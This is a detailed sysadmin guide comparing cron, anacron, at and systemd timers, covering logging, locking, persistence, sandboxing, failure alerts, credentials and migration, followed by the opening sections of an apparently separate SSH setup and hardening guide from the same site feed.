By default cron mails any output of a job to the owner, using the local mail system. On a server with no mail transfer agent configured, that output vanishes. The reliable pattern is to send the job's output where you decide, and to make failures loud.
\n30 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1\n30 2 * * * /usr/local/bin/backup.sh 2>&1 | logger -t backup\n*/5 * * * * /usr/local/bin/poll.sh > /dev/null\nThe first appends both streams to a log file, which should be rotated with logrotate. The second sends them to syslog under a tag, so they end up in the journal on systemd hosts. The third discards standard output but leaves standard error, which cron would mail; that is a useful convention for jobs that print routine noise but whose errors you want to hear about. Set MAILTO= to an address, or to an empty string to disable mail. A job that fails silently is worse than a job that never ran, so decide where failure goes before you schedule anything.
If a job takes longer than its interval, cron starts the next one anyway. Two backups writing the same archive, or two importers inserting the same rows, are a classic outage. The fix is a lock. flock from util-linux holds an advisory lock on a file for the life of the command and releases it when the process exits for any reason, including a crash.
*/5 * * * * flock -n /run/lock/poll.lock /usr/local/bin/poll.sh\n#!/usr/bin/env bash\nset -euo pipefail\nexec 9>/run/lock/nightly.lock\nif ! flock -n 9; then\n echo \"previous run still going, exiting\" >&2\n exit 0\nfi\n./do-the-work.sh\nWith -n the second run exits at once; without it, it would wait for the lock and the runs would queue up. Avoid hand-made PID files, which survive a crash and then block the job until someone deletes them, or are removed by the wrong run. A lock owned by the kernel disappears with the process, so there is nothing to clean up.
Cron assumes the machine is up. If it is off at 02:30, the job is skipped, and nothing records that it should have run. anacron solves this for jobs measured in days: it keeps a timestamp per job, and when the system is up and a period has elapsed since the last run, it runs the job after a delay. On Debian, the files in /etc/cron.daily, /etc/cron.weekly and /etc/cron.monthly are run by anacron when it is installed, and by cron otherwise. Anacron cannot express times of day and works at a granularity of days, so it is a tool for housekeeping, not for \"every five minutes\".
# /etc/anacrontab\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n# period delay job-id command\n1 5 backup /usr/local/bin/backup.sh\n7 10 cleanup /usr/local/bin/cleanup.sh\nThe period is in days and the delay in minutes after anacron starts. For anything that needs catch-up on a modern system, a systemd timer with Persistent=true gives the same behavior with one line, which is a major reason to prefer timers on laptops and development machines.
A timer is a unit with the suffix .timer that activates another unit, normally a service with the same base name, when its schedule fires. The timer holds the schedule; the service holds the command, user, environment and limits. Splitting them looks like extra work for one job and pays off as soon as you want to start the job by hand, with systemctl start backup.service, or read its logs with journalctl -u backup.service, because those work on the service independent of the schedule.
# /etc/systemd/system/backup.service\n[Unit]\nDescription=Nightly backup of /srv/data\n\n[Service]\nType=oneshot\nUser=backup\nExecStart=/usr/local/bin/backup.sh -k 7 /srv/data\n# /etc/systemd/system/backup.timer\n[Unit]\nDescription=Run the nightly backup\n\n[Timer]\nOnCalendar=*-*-* 02:30:00\nPersistent=true\nRandomizedDelaySec=5min\n\n[Install]\nWantedBy=timers.target\nEnable the timer, not the service: systemctl daemon-reload then systemctl enable --now backup.timer. The service has no [Install] section because it is never enabled on its own. The unit file format is described in systemd.timer(5) and systemd.service(5).
OnCalendar= takes the form DayOfWeek Year-Month-Day Hour:Minute:Second, where each part is optional and can use *, lists with commas, ranges with .. and repetition with /. There are shorthands such as hourly, daily, weekly, monthly. The tool systemd-analyze calendar parses an expression, shows its normalized form and prints the next time it fires, which removes the guessing.
systemd-analyze calendar 'Mon..Fri *-*-* 09:00'\nsystemd-analyze calendar '*:0/15'\nsystemd-analyze calendar weekly\n Original form: Mon..Fri *-*-* 09:00\nNormalized form: Mon..Fri *-*-* 09:00:00\n Next elapse: Fri 2026-11-06 09:00:00 UTC\n\n Original form: *:0/15\nNormalized form: *-*-* *:00/15:00\n Next elapse: Fri 2026-11-06 06:00:00 UTC\n\n Original form: weekly\nNormalized form: Mon *-*-* 00:00:00\n Next elapse: Mon 2026-11-09 00:00:00 UTC\nRun the analyzer for every schedule before you deploy it, and add --iterations=5 to see several future elapses. Unlike cron, a calendar expression with both a weekday and a day of the month requires both to match, so \"the first Monday\" is expressible directly as Mon *-*-01..07 09:00, which cron cannot do without the shell test shown above.
Four directives schedule relative to an event instead of the clock. OnBootSec= counts from boot, OnStartupSec= from when the service manager started, OnActiveSec= from when the timer itself was activated, and OnUnitActiveSec= or OnUnitInactiveSec= from when the target service was last started or finished. Combine them to build \"five minutes after boot, then every hour\".
[Timer]\nOnBootSec=5min\nOnUnitInactiveSec=1h\nAccuracySec=1min\nUsing OnUnitInactiveSec measures from the end of the previous run, so runs never overlap and never queue, no matter how long the job takes. That is exactly the property cron needs a lock to emulate. Durations accept unit suffixes, and you can verify a value with systemd-analyze timespan \"1h 30min\", which printed 5400000000 microseconds on the test host.
With Persistent=true, systemd stores the last trigger time on disk, in /var/lib/systemd/timers/. If the machine was off or the timer was inactive when a calendar event should have fired, it triggers the service as soon as the timer is next activated. The feature applies only to OnCalendar= timers. It catches up once, not once for every missed day: three missed nights produce one run on boot.
systemctl list-timers --all\nsystemctl status backup.timer\ncat /var/lib/systemd/timers/stamp-backup.timer\nNEXT LEFT LAST PASSED UNIT ACTIVATES\nSat 2026-11-07 02:33:41 UTC 20h left Fri 2026-11-06 02:31:07 UTC 3h ago backup.timer backup.service\nThe listing shows the next trigger, the last one, and the service each timer starts, which makes it the first stop in any \"did it run?\" investigation. A job that must run exactly once a day even on a machine that is often off is the clearest case for a persistent timer.
\n\nWhen hundreds of machines all run a job at 02:00, the service it contacts sees a spike. RandomizedDelaySec= adds a random delay up to the stated amount to each trigger, so the fleet spreads out. AccuracySec= lets systemd coalesce wake-ups: the default is one minute, which means a timer may fire up to a minute late to share a wake-up with others. Set AccuracySec=1s when the minute matters. FixedRandomDelay=true, added in systemd 247, keeps a host's delay the same between runs, so each machine has a stable but different time.
[Timer]\nOnCalendar=daily\nRandomizedDelaySec=30min\nFixedRandomDelay=true\nAccuracySec=1s\nCron has no equivalent. The common workaround is a sleep $((RANDOM % 1800)) at the start of the job, which holds a process for half an hour and is invisible to monitoring until it starts doing work.
A scheduled job should be a Type=oneshot service: systemd considers it active while the command runs, and a second activation request while it is active does not start another copy. Set the user so the job does not run as root without reason. Set the working directory, an environment file if needed, and a timeout so a hung job is killed.
[Unit]\nDescription=Sync reports to object storage\nAfter=network-online.target\nWants=network-online.target\n\n[Service]\nType=oneshot\nUser=reports\nWorkingDirectory=/srv/reports\nEnvironmentFile=/etc/reports/env\nExecStart=/usr/local/bin/sync-reports.sh\nTimeoutStartSec=30min\nNice=10\nIOSchedulingClass=idle\nThe After= and Wants= lines make the job wait for the network, a dependency cron cannot state at all. EnvironmentFile holds KEY=value lines, which keeps secrets out of the unit file and out of the process list. Nice and IOSchedulingClass=idle keep a heavy job from slowing foreground work. Because systemd runs the command without a shell, pipes, redirections and $VARIABLES in ExecStart are not interpreted; call a script, or use /bin/bash -c '...' deliberately.
Because a service unit is a sandbox definition, you can restrict a scheduled job to what it needs with a few lines. This has no cron counterpart short of running the job in a container. Useful directives include ProtectSystem=strict (read-only filesystem except listed paths), ReadWritePaths=, PrivateTmp=true, NoNewPrivileges=true, ProtectHome=true and MemoryMax= or CPUQuota= for resource caps.
[Service]\nProtectSystem=strict\nReadWritePaths=/srv/reports /var/log/reports\nProtectHome=true\nPrivateTmp=true\nNoNewPrivileges=true\nMemoryMax=512M\nThe tool systemd-analyze security backup.service scores a unit's exposure and lists what remains open. Aim to close what the job does not need, not to reach a perfect score. The model of least privilege here is also the theme of the shell script security guide.
Everything the service writes to standard output and standard error goes to the journal, tagged with the unit name, and survives as long as the journal is kept. No redirection is needed in the unit. Read it with journalctl, filter by unit and time, and follow it live.
journalctl -u backup.service --since today\njournalctl -u backup.service -n 50 --no-pager\njournalctl -u backup.service -f\njournalctl -u backup.service -p err\nsystemctl show backup.service -p ExecMainStatus,Result\nThe last command prints the exit status and result of the last run, such as Result=exit-code, which is what a monitoring check should read. Journal storage is persistent only if /var/log/journal exists or Storage=persistent is set; on some systems it is volatile and lost at reboot, so confirm before relying on it for post-mortems. The querying options are in journalctl(1).
A failed oneshot service enters the failed state and stays there until it runs again or is reset. Use OnFailure= to start another unit when it fails, such as a notifier service. The notifier can mail, post to a chat webhook or write to a monitoring endpoint, and receives the failed unit's name as an instance parameter.
# backup.service\n[Unit]\nOnFailure=notify@%n.service\n\n# /etc/systemd/system/notify@.service\n[Unit]\nDescription=Notify about failure of %i\n\n[Service]\nType=oneshot\nExecStart=/usr/local/bin/notify.sh \"%i failed on %H\"\nThe specifiers %n (the full unit name), %i (the instance) and %H (the hostname) are filled in by systemd. For jobs that can fail without failing the service, such as a script that logs errors but exits 0, a heartbeat is more reliable than failure triggers: have the job ping a monitoring service on success, and alert when the ping stops arriving. That covers the case where the job never ran at all, which no failure hook can see.
| Need | Cron | systemd timer |
|---|---|---|
| Runs on any Unix, containers, BSD | Yes | Only where systemd runs |
| Setup effort for one job | One line | Two files and an enable |
| Logs | Mail or your redirection | Journal by default |
| Catch-up after downtime | Needs anacron | Persistent=true |
| Prevent overlap | Needs flock | Built in for oneshot services |
| Dependencies (network, mounts) | Not expressible | After=, Requires= |
| Resource limits and sandboxing | None | cgroup and namespace directives |
| Randomized spread | Manual sleep | RandomizedDelaySec= |
| Run it now to test | Copy the command | systemctl start job.service |
| Status query | Parse logs | systemctl status, list-timers |
The decision usually reduces to two questions. Does the job have to run somewhere without systemd, such as a minimal container or macOS? Then cron, or the platform's equivalent. Otherwise, does it matter that it ran and what it said? Then a timer. For a throwaway job on a machine you will never touch again, one crontab line is faster than two unit files, and that is a legitimate choice.
\n\nAn unprivileged user can have timers too, in ~/.config/systemd/user/, managed with systemctl --user. They run while the user has a session. To make them run without a login, as on a server, enable lingering with loginctl enable-linger username. Without lingering, a user timer stops when the last session ends, which is the usual reason it seems to \"stop working overnight\".
mkdir -p ~/.config/systemd/user\nsystemctl --user daemon-reload\nsystemctl --user enable --now notes-sync.timer\nloginctl enable-linger \"$USER\"\nsystemctl --user list-timers\njournalctl --user -u notes-sync.service\nUser units cannot bind to privileged resources and see the user's environment as systemd defines it, not as the login shell does. They are the right home for per-user jobs such as syncing notes or refreshing a cache, since they need no root and no entries in a system directory.
\n\nCron uses the system time zone, and so do systemd timers unless a time zone is written into the expression, which systemd supports, for example OnCalendar=*-*-* 09:00:00 Europe/Berlin. Daylight saving changes bite in two ways. When the clock jumps forward, a job scheduled in the skipped hour may not run. When the clock falls back, a job in the repeated hour may run twice. Vixie cron handles small shifts by running jobs that were skipped, and treats fixed-time jobs specially, but behavior varies between implementations.
The simple defence is to keep servers on UTC, schedule in UTC and convert in the report. Jobs that must follow a local business day, such as an 08:00 email to a Paris office, are the exception, and for them the time zone should be written into the timer so that it is visible in the unit file and survives a change to the machine's own zone. Always avoid scheduling at 02:00 to 03:00 local time in zones that change clocks, since that is the hour most likely to be skipped or doubled.
\n\nTest in layers so that a failure points at one cause. First run the script by hand with a stripped environment, as cron would: env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh. Second, for a timer, run the service on demand: systemctl start backup.service and read the journal. Third, schedule the job a couple of minutes ahead with the real mechanism and watch it fire. Fourth, break it on purpose: make the script exit non-zero and confirm that the alert arrives.
env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh; echo \"exit=$?\"\nsudo systemctl start backup.service\njournalctl -u backup.service -n 20 --no-pager\nsystemd-analyze verify /etc/systemd/system/backup.service /etc/systemd/system/backup.timer\nsystemd-analyze verify checks unit files for syntax errors and missing referenced units without running anything. The stripped-environment run is the single most valuable test, since it reproduces the commonest cron failure, a missing PATH entry, in seconds. The techniques for finding out why a script behaves differently under a scheduler are the subject of the debugging guide.
This pairs the backup script from the Bash tutorial with a timer. The service runs as a dedicated user, the timer is persistent, and a failure notifies.
\n# /etc/systemd/system/backup.service\n[Unit]\nDescription=Nightly backup of /srv/data\nOnFailure=notify@%n.service\n\n[Service]\nType=oneshot\nUser=backup\nExecStart=/usr/local/bin/backup.sh -k 14 -d /var/backups/data /srv/data\nProtectSystem=strict\nReadWritePaths=/var/backups/data\nPrivateTmp=true\nTimeoutStartSec=2h\nNice=10\n# /etc/systemd/system/backup.timer\n[Unit]\nDescription=Nightly backup\n\n[Timer]\nOnCalendar=*-*-* 02:30:00\nPersistent=true\nRandomizedDelaySec=10min\n\n[Install]\nWantedBy=timers.target\nsudo systemctl daemon-reload\nsudo systemctl enable --now backup.timer\nsystemctl list-timers backup.timer\nThe matching cron version is a single line, 30 2 * * * backup /usr/local/bin/backup.sh -k 14 -d /var/backups/data /srv/data >> /var/log/backup.log 2>&1 in /etc/cron.d/backup, plus a flock wrapper and a logrotate file to match the timer's behavior. The comparison shows where the extra lines of the timer go: they replace the pieces you would otherwise bolt on.
Checking a service every minute is a monotonic pattern, and a good example of why OnUnitInactiveSec avoids overlap. The check fails loudly and does nothing otherwise.
#!/usr/bin/env bash\nset -euo pipefail\nurl=\"${1:?usage: check.sh URL}\"\nif ! curl -fsS --max-time 10 -o /dev/null \"$url\"; then\n logger -t healthcheck -p user.err \"check failed for $url\"\n exit 1\nfi\n# check.timer\n[Timer]\nOnBootSec=1min\nOnUnitInactiveSec=1min\nAccuracySec=1s\n\n[Install]\nWantedBy=timers.target\nIf the endpoint hangs for the full ten second timeout, the next check starts a minute after that one ends, not a minute after it started, so a slow target cannot cause a pile of overlapping checks. In cron the same job is * * * * * flock -n /run/lock/check.lock check.sh URL, and the lock is what prevents the pile. Both work; the timer states the intent in the schedule itself.
Housekeeping jobs are the most common cron entries and the most dangerous, because they delete. Make them print what they would do first, run with a narrow scope and log the result.
\n#!/usr/bin/env bash\nset -euo pipefail\ndir=/var/cache/app\ndays=\"${1:-30}\"\n[[ -d $dir ]] || { echo \"missing $dir\" >&2; exit 1; }\ncount=$(find \"$dir\" -xdev -type f -mtime +\"$days\" -print -delete | wc -l)\necho \"removed $count files older than $days days from $dir\"\nremoved 128 files older than 30 days from /var/cache/app\nThe -xdev option keeps find on one filesystem, so a mounted volume under the directory is never touched. Test with -print only before you add -delete, and think about what happens if the variable were empty: the explicit directory check turns that into an error. For temporary files, systemd-tmpfiles with a tmpfiles.d rule is a purpose-built cleaner that needs no script. Consider it before writing your own.
env -i.date +%F breaks. Escape it or call a script./etc/cron.d or cron.daily. Debian ignores it. Use letters, digits, hyphens and underscores.crontab -r. Keep it in version control.name.timer, and check it with list-timers.daemon-reload. systemd uses the old unit until you reload.ExecStart. There is no shell. Call a script.flock in cron; use oneshot in systemd.loginctl enable-linger.The last mistake is the expensive one. Many of the others produce a visible error once; this one produces nothing for weeks and then a missing backup on the worst day.
\n\nKnowing the mechanism explains several odd behaviors. The daemon wakes once a minute, reads the crontabs it has loaded and starts every job whose fields match the current minute. It checks the modification times of the crontab files and reloads them when they change, which is why editing with crontab -e takes effect without a restart but a file replaced in a way that keeps the old timestamp may not. User crontabs live in a spool directory, /var/spool/cron/crontabs on Debian, and should only be edited through the crontab command, which validates syntax and notifies the daemon. Each job is started through the configured shell with a fresh process group, and the daemon does not wait for it; it neither tracks nor limits how many are running, which is why overlap protection is your job. Because the finest resolution is a minute, cron cannot run something every ten seconds, and the folk fix of a loop with sleep inside a once-a-minute job is fragile; use a timer with OnUnitActiveSec=10s or a long-running service instead.
Access to crontab is controlled by two files. If /etc/cron.allow exists, only users listed in it may have a crontab. Otherwise, if /etc/cron.deny exists, everyone not listed may. If neither exists, behavior depends on the build: on Debian all users may, on some systems only root. Locking down the service accounts that should never schedule anything is a cheap hardening step. Jobs run with the owner's privileges, so a crontab of a compromised web-service account is a persistence mechanism an attacker will use. Audit the schedules on a server the same way you audit authorized SSH keys, with for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u \"$u\" 2>/dev/null; done as root, plus a look at /etc/cron.* and the timers from systemctl list-timers --all.
For work that should run once at a given time, at is simpler than a crontab entry you must remember to delete. It reads commands from standard input and runs them at the time you name, with the environment of the shell that queued it. atq lists the queue and atrm removes a job. batch runs a job when the system load is low. The systemd counterpart is a transient timer, created with systemd-run --on-calendar or --on-active, which also gives you logs.
echo '/usr/local/bin/reindex.sh' | at 23:30 tomorrow\natq\nsystemd-run --on-active=2h --unit=reindex-once /usr/local/bin/reindex.sh\nsystemctl list-timers reindex-once.timer\nA transient unit disappears once it has run and is not recreated at boot, so it suits a one-off but not a recurring task. If the machine reboots before the time arrives, a queued at job still runs because the queue is on disk, while a transient timer is lost.
Many jobs scheduled \"every minute\" are really waiting for something to happen, such as a file landing in a drop directory. Polling wastes work and adds up to a minute of latency. systemd has path units that watch the filesystem with inotify and start a service when a path changes. They pair with a service in the same way a timer does.
\n# /etc/systemd/system/ingest.path\n[Path]\nPathExistsGlob=/srv/drop/*.csv\nMakeDirectory=true\n\n[Install]\nWantedBy=multi-user.target\nThe matching ingest.service processes and removes the files. If it leaves them in place, the path unit triggers again immediately and the pair loops, so the service must consume what it was triggered by. Systemd also rate limits start requests, which stops a runaway loop from taking the host down but may leave the unit in a failed state to investigate. For events that are not files, such as a device appearing or a network coming up, there are udev rules and network dispatcher hooks; use the clock only for things that are genuinely about time.
A scheduled job that fails on a transient error, such as a network blip, will be retried by the next scheduled run, which may be a day away. Decide whether that is acceptable. For a daily report, probably; for a job that other work depends on, add retries. A Type=oneshot service cannot use Restart=on-failure in older systemd versions, though systemd 244 and later allow Restart=on-failure with oneshot, so on current systems you can write the retry policy into the unit. The portable alternative is a retry loop in the script with exponential backoff and an upper bound.
retry() {\n local tries=\"$1\" delay=2; shift\n local n\n for (( n = 1; n <= tries; n++ )); do\n \"$@\" && return 0\n echo \"attempt $n/$tries failed: $*\" >&2\n (( n < tries )) && sleep \"$delay\"\n delay=$(( delay * 2 ))\n done\n return 1\n}\nretry 4 curl -fsS --max-time 20 -o /tmp/feed.xml https://example.org/feed.xml\nBound the total time. Four tries with delays of 2, 4 and 8 seconds is a bounded 14 seconds plus request time, whereas unlimited retries turn a short outage into a job that runs for days and blocks its own next run. Make the job idempotent first, since a retry after a partial success will repeat the part that worked.
\n\nA persistent timer and a retry both mean a job may run late, twice or out of the usual order. Design for that. The job should not assume it is running at 02:30, so a report for \"yesterday\" should compute yesterday from the date and not from the hour. It should be safe to run twice, so writing a result to a temporary name and renaming it into place replaces any earlier output atomically. And it should take its inputs from a named period, passed as an argument or derived from the date, so a manual rerun for a past day is a command-line change rather than an edit.
\n#!/usr/bin/env bash\nset -euo pipefail\nday=\"${1:-$(date -d yesterday +%F)}\"\nout=\"/srv/reports/daily-$day.csv\"\ntmp=$(mktemp \"$out.XXXXXX\")\ntrap 'rm -f -- \"$tmp\"' EXIT\n./build-report.sh \"$day\" > \"$tmp\"\nmv -- \"$tmp\" \"$out\"\nRerunning for a specific date, ./daily.sh 2026-11-01, rebuilds just that file. The temporary file is created next to the destination so the final mv is a rename on one filesystem, which cannot leave a half-written report visible to a reader.
Scheduled jobs often need credentials. Do not put them in a crontab line, where they show in the process list and in backups of the file, or in a unit file that is world-readable. With systemd, point EnvironmentFile= at a file mode 0600 owned by root, or better use LoadCredential=, which hands the service a secret as a file in a private directory that other users cannot read. With cron, source a protected file from the script and have the script check its permissions.
[Service]\nLoadCredential=api-token:/etc/secrets/api-token\nExecStart=/usr/local/bin/push.sh\ntoken=$(cat \"${CREDENTIALS_DIRECTORY}/api-token\")\nThe credentials directory is created per run and removed afterward, and its path comes through the CREDENTIALS_DIRECTORY variable. This feature arrived in systemd 247, so on older distributions fall back to an environment file with tight permissions. The wider discipline of handling secrets in scripts is in the shell script security guide.
Failure hooks tell you that a job failed. They cannot tell you that it never started, because the host was down, the timer was disabled, or someone deleted the crontab. A dead-man's switch covers that: the job pings a monitoring URL when it succeeds, and the monitor raises an alert if the ping does not arrive within the expected window. Many hosted services and self-hosted tools offer this; the client side is a single curl.
\n./backup.sh && curl -fsS --max-time 10 --retry 3 https://hc.example.org/ping/0a1b2c3d > /dev/null\nThe && means the ping fires only after a successful run. Give the monitor a grace period slightly longer than the job's normal duration plus its random delay. Check the monitor itself occasionally by disabling a job on purpose and confirming that the alert arrives, because an alarm you have never heard is an alarm you cannot trust. Alongside the heartbeat, record how long the job takes; a backup that used to take ten minutes and now takes two hours is failing in slow motion.
Migrating is mechanical and is best done one job at a time, with both versions running side by side for a day to compare. For each crontab line, take the five fields and rewrite them as an OnCalendar= value, check it with systemd-analyze calendar, move the command into ExecStart= of a oneshot service, translate any redirections into journal logging, and replace any flock wrapper with the service's own single-instance behavior. Then disable the cron line by commenting it out, not deleting it, until the timer has run successfully twice.
| Crontab fields | OnCalendar |
|---|---|
30 2 * * * | *-*-* 02:30:00 |
*/15 * * * * | *:0/15 |
0 9 * * 1-5 | Mon..Fri *-*-* 09:00:00 |
0 4 1 * * | *-*-01 04:00:00 |
0 */6 * * * | *-*-* 00/6:00:00 |
@weekly | Mon *-*-* 00:00:00 |
Each row in the right column was parsed by systemd-analyze calendar on the test host and printed the normalized form shown. Remember the day-of-month and weekday difference: a cron line that restricted both ran on either, while a timer requires both. If you relied on the OR behavior, write two OnCalendar= lines, since a timer accepts several.
When the same job runs on a fleet, hand-edited crontabs drift. Put the unit files or crontab fragments in version control and install them with whatever you use to configure hosts, so the schedule has an author, a diff and a rollback. Use drop-in directories for per-host overrides, such as /etc/systemd/system/backup.timer.d/override.conf, so the base unit stays identical and only the local difference is stored. Vary the start times with RandomizedDelaySec and not with a hand-picked minute per host, which is easy to forget.
sudo systemctl edit backup.timer\nsystemctl cat backup.timer\nsystemctl list-timers --all --no-pager | head -20\nThe systemctl cat output shows the base unit and every drop-in in order, which is the way to see what a host actually runs. Keep a short inventory of what runs where, because the question \"what jobs does this server have?\" has answers in several places: user crontabs, /etc/cron.d, the periodic directories, anacron, system and user timers, and at queues.
Containers. A typical container has no cron daemon and no systemd. Either run the schedule outside, with the orchestrator's scheduler such as a Kubernetes CronJob, or add a dedicated scheduler process, and avoid running cron next to your application as a second process in the same container.
\nDistributed jobs. Cron and timers run on one machine. If the job must run once per cluster, two hosts with the same crontab will both run it. Use leader election, a queue or a managed scheduler.
\nSub-second and event-driven work. Neither is a real-time system. For file arrival, use inotify or a .path unit. For high-frequency work, run a long-lived process.
Complex workflows. When jobs depend on one another's output with retries and backfills, a workflow engine models it better than a pile of timers.
\nmacOS and non-systemd Linux. macOS uses launchd, Alpine and Void often use OpenRC or runit with cron. The scheduling concepts here carry over, the syntax does not.
Scheduling pushes you toward scripts that are safe to run unattended: the Bash scripting tutorial covers locks, traps and exit codes, the shell script security guide covers least privilege, and the testing guide covers proving a script works before the scheduler runs it at 02:30. For connecting out to other machines from a scheduled job, see the SSH guide.
\nPrimary sources used here: crontab(5), cron(8), flock(1), systemd.timer(5), systemd.time(7), systemd.service(5), systemd.exec(5), systemd-analyze(1), journalctl(1) and the POSIX crontab specification.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Automation"]},{"id":"https://shellhacks.dev/library/ssh-guide","url":"https://shellhacks.dev/library/ssh-guide","title":"SSH From the Basics to a Hardened and Scripted Setup","summary":"An SSH guide from first login to a hardened, scripted setup: keys, config files, agents, tunnels, jump hosts, sshd hardening, automation and troubleshooting.","content_html":"SSH is the tool that almost every server administrator and developer uses every day, and most people use about a tenth of it. Beyond logging in, it moves files, tunnels ports, reaches machines behind bastions, runs commands across fleets and, configured well, is one of the strongest controls on a server. The examples here assume OpenSSH 9.2p1, the version shipped with Debian 12, and note where newer or older releases differ. Running SSH from scripts, the part that often goes wrong, is covered in depth near the end; the scripts themselves follow the Bash scripting tutorial.
\nThe guide covers how SSH establishes trust, creating and using keys, the agent, the client config file, file transfer, port forwarding, jump hosts, hardening the server, certificates and restricted keys, scripting, long-lived sessions, and troubleshooting, with the failure modes for each.
\n\nAn SSH connection does three things in order. First, the two sides negotiate algorithms and the server proves its identity by presenting a host key, which the client checks against its list of known hosts. Second, they derive session keys by key exchange, so that everything afterwards is encrypted and integrity-protected. Third, the client authenticates the user, most often with a public key: the server sends a challenge that only the holder of the private key can answer. After that, the connection carries one or more channels: an interactive shell, a single command, a file transfer subsystem or a forwarded port. The protocol is specified in RFC 4251 and the following RFCs in the 4250 range.
\nTwo checks protect you and they are different. The host key check protects the client against connecting to an impostor server. The user authentication protects the server against an impostor client. A common mistake is to treat the first one as an annoyance: the prompt about an unknown host fingerprint is the entire defence against a man-in-the-middle on the first connection, and answering yes without comparing the fingerprint gives that defence up.
\n\nThe first time you connect, the client shows the server's host key fingerprint and asks whether to trust it. If you accept, the key is stored in ~/.ssh/known_hosts. On every later connection, the client compares the presented key against the stored one, and if they differ it refuses with a loud warning that the host identification has changed. That warning has two causes: the server was reinstalled or its keys were rotated, or someone is intercepting the connection. Do not delete the entry and carry on without finding out which.
ssh-keyscan -t ed25519 server.example.org 2>/dev/null | ssh-keygen -lf -\nssh-keygen -F server.example.org\nssh-keygen -R server.example.org\n256 SHA256:Fh3k...q9Z server.example.org (ED25519)\nGet the fingerprint over a second channel, such as the cloud provider's console output, and compare it to what the client shows before you accept. ssh-keygen -F finds an entry, and -R removes one after you have confirmed the change is legitimate. Setting HashKnownHosts yes, the Debian default, stores hostnames hashed so a stolen file does not list every machine you have visited, at the cost of readability. Do not set StrictHostKeyChecking no in scripts to avoid the prompt; use StrictHostKeyChecking accept-new, which accepts unknown hosts but still refuses a changed key, or distribute known_hosts in advance.
A key pair has a private half that never leaves your machine and a public half you install on servers. Ed25519 is the right default: small keys, fast operations and no parameter choices to get wrong. RSA remains supported and needs at least 3072 bits. DSA is gone from current releases and ECDSA is best avoided.
\nssh-keygen -t ed25519 -a 100 -C \"laptop 2026\" -f ~/.ssh/id_ed25519\nGenerating public/private ed25519 key pair.\nEnter passphrase (empty for no passphrase):\nEnter same passphrase again:\nYour identification has been saved in /home/dev/.ssh/id_ed25519\nYour public key has been saved in /home/dev/.ssh/id_ed25519.pub\nThe key fingerprint is:\nSHA256:Qm2...tX0 laptop 2026\nAlways set a passphrase. It encrypts the private key on disk, so a copied or stolen file is useless without it. The -a 100 option raises the number of key derivation rounds, which slows brute-force attempts on the passphrase. The comment after -C is only a label that helps you recognize the key later in authorized_keys. Use a separate key per device and per purpose, so that revoking one lost laptop does not mean replacing every credential you own.
ssh-copy-id appends your public key to the server's ~/.ssh/authorized_keys, creating the directory and fixing permissions if needed. It needs a working login first, so the first copy uses a password or an existing key.
ssh-copy-id -i ~/.ssh/id_ed25519.pub deploy@server.example.org\nssh deploy@server.example.org 'hostname; id -un'\nNumber of key(s) added: 1\n\nNow try logging into the machine, with: \"ssh 'deploy@server.example.org'\"\nand check to make sure that only the key(s) you wanted were added.\n\nserver01\ndeploy\nWithout ssh-copy-id, the manual equivalent is cat key.pub | ssh user@host 'mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys'. Use >> and not >, or you replace every other authorized key. On a cloud instance, add keys through the provider's mechanism where one exists, as later maintenance can overwrite files written by hand.
With StrictModes yes, the default, the server refuses to use an authorized_keys file if the file, the .ssh directory or the home directory is writable by anyone but the owner, since someone else could add a key. The client likewise refuses to use a private key that other users can read. The messages mention \"bad permissions\" or \"UNPROTECTED PRIVATE KEY FILE\". The fix is a short list of commands, and it resolves most \"key login does not work\" reports.
chmod 755 ~\nchmod 700 ~/.ssh\nchmod 600 ~/.ssh/id_ed25519 ~/.ssh/authorized_keys ~/.ssh/config\nchmod 644 ~/.ssh/id_ed25519.pub ~/.ssh/known_hosts\nls -ld ~ ~/.ssh ~/.ssh/*\nOn the server, also check ownership: the files must belong to the login user, and the home directory must not be group-writable. SELinux can block reading authorized_keys with the wrong context even when the permissions are right; on Fedora and RHEL, restorecon -R ~/.ssh repairs it. The server's log, covered under troubleshooting, states which check failed.
Typing a passphrase for every connection gets old, and removing the passphrase is the wrong fix. ssh-agent holds decrypted keys in memory and answers signing requests, so you enter the passphrase once per session. Add a key with ssh-add, list loaded keys with ssh-add -l, and remove them with ssh-add -D. Most desktop systems start an agent at login; on a plain server start one with eval \"$(ssh-agent -s)\".
eval \"$(ssh-agent -s)\"\nssh-add ~/.ssh/id_ed25519\nssh-add -l\nssh-add -t 4h ~/.ssh/id_work\nAgent pid 4412\nIdentity added: /home/dev/.ssh/id_ed25519 (laptop 2026)\n256 SHA256:Qm2...tX0 laptop 2026 (ED25519)\nThe -t option sets a lifetime after which the key is dropped from the agent. On macOS, UseKeychain yes with AddKeysToAgent yes in the config stores the passphrase in the system keychain. Anyone who can act as you on the machine can use the agent while the keys are loaded, even without knowing the passphrase, so lock the screen and set lifetimes on sensitive keys. Hardware-backed keys (ed25519-sk, created with ssh-keygen -t ed25519-sk and a FIDO2 token) remove the file from the threat model entirely, because the private key cannot leave the device and each use requires a touch.
~/.ssh/config turns a long command line into a name. Each Host block gives a pattern and the options that apply to matching hosts. The first value found for an option wins, so put specific blocks first and general defaults, under Host *, at the end.
Host web\n HostName web01.internal.example.org\n User deploy\n Port 2222\n IdentityFile ~/.ssh/id_ed25519\n IdentitiesOnly yes\n\nHost *.example.org\n User admin\n ServerAliveInterval 30\n\nHost *\n AddKeysToAgent yes\n HashKnownHosts yes\nWith this file, ssh web runs the equivalent of ssh -p 2222 -i ~/.ssh/id_ed25519 deploy@web01.internal.example.org. IdentitiesOnly yes tells the client to offer only the named key, not every key in the agent, which avoids \"too many authentication failures\" when the agent holds many keys and the server counts each attempt. Use ssh -G web to print the options that will apply to a host after all blocks are merged; it is the fastest way to see why a setting is not what you expected. The reference is ssh_config(5).
Anything after the host is a command to run on the remote side. SSH joins the arguments with spaces and hands the string to the remote user's login shell, which parses it again. That second parse is the source of the most common SSH scripting bug: quoting is applied twice, once by your local shell and once by the remote one.
